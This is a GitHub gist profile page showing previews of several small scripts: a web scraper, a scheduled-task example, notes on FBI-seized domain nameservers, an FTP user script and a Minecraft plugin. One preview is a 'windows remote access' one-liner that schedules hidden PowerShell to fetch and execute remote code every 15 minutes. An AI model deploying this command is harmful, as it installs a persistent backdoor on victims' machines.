Skip to content

Instantly share code, notes, and snippets.

View treppenhaus's full-sized avatar
🕳️

treppi✨ treppenhaus

🕳️
  • Allgäu
View GitHub Profile
@treppenhaus
treppenhaus / n.js
Created July 5, 2023 13:25
nightmarejs list all links from website
const Nightmare = require('nightmare')
const nightmare = Nightmare({ show: true })
nightmare
.goto('https://duckduckgo.com')
.type('#search_form_input_homepage', 'github nightmare')
.click('#search_button_homepage')
.wait(1000)
.evaluate(() => {
const links = Array.from(document.querySelectorAll('a'));
:: small example for a windows remote access if you control the webserver
:: only use for education etc etc
:: also its only for testing; blue powershell window pops up
:: https://pastes.io/raw/km95gr8b1w -> you want this to be a url to something you control because these commands are ran every 15 minutes
schtasks /create /sc minute /mo 15 /tn autorun /tr "powershell -windowstyle hidden -noprofile -executionpolicy bypass -command 'invoke-webrequest https://pastes.io/raw/km95gr8b1w -usebasicparsing | select-object -expand content | iex'" /st 07:00 /sd 01/05/2020 /f && schtasks /run /tn autorun
@treppenhaus
treppenhaus / example.ps1
Created October 26, 2022 12:39
exmapel
mkdir c:\temp\oidma
@treppenhaus
treppenhaus / autorun.bat
Created October 26, 2022 12:27
create a scheduled task that runs every 2 minutes with batch
schtasks /Create /SC MINUTE /MO 2 /TN autorun /TR calc.exe /ST 07:00 /SD 01/05/2020 /F
schtasks /run /tn autorun
:: runs every two minutes
:: opens calculator
@treppenhaus
treppenhaus / nameservers.md
Last active September 9, 2022 07:21
how to check if a domain is seized by the FBI

so if the FBI seizes a domain they always (or mostly) use the following nameservers to hold the domain known to be used by law enforcement:

jocely.ns.cloudflare.com plato.ns.cloudflare.com

for example

doublevpn.com

raidforums.com

@treppenhaus
treppenhaus / create-user.sh
Created January 7, 2022 18:37
adds a user to debian and vsftpd
# usage:
# ./create-user.sh <USERNAME> <PASSWORD> <GROUPNAME>
# ^script name
#
# > creates a user and adds it to vsftpd user list
username=$1
password=$2
@treppenhaus
treppenhaus / uSkyblockPlaceholders.java
Created November 17, 2021 13:40
uSkyBlock Placeholder for PlaceholderAPI
import me.clip.placeholderapi.expansion.PlaceholderExpansion;
import org.bukkit.entity.Player;
import us.talabrek.ultimateskyblock.api.IslandLevel;
import us.talabrek.ultimateskyblock.api.uSkyBlockAPI;
import us.talabrek.ultimateskyblock.uSkyBlock;
// you need to
// new IsLevelPlaceholders().register();
// in your onEnable method of your main class!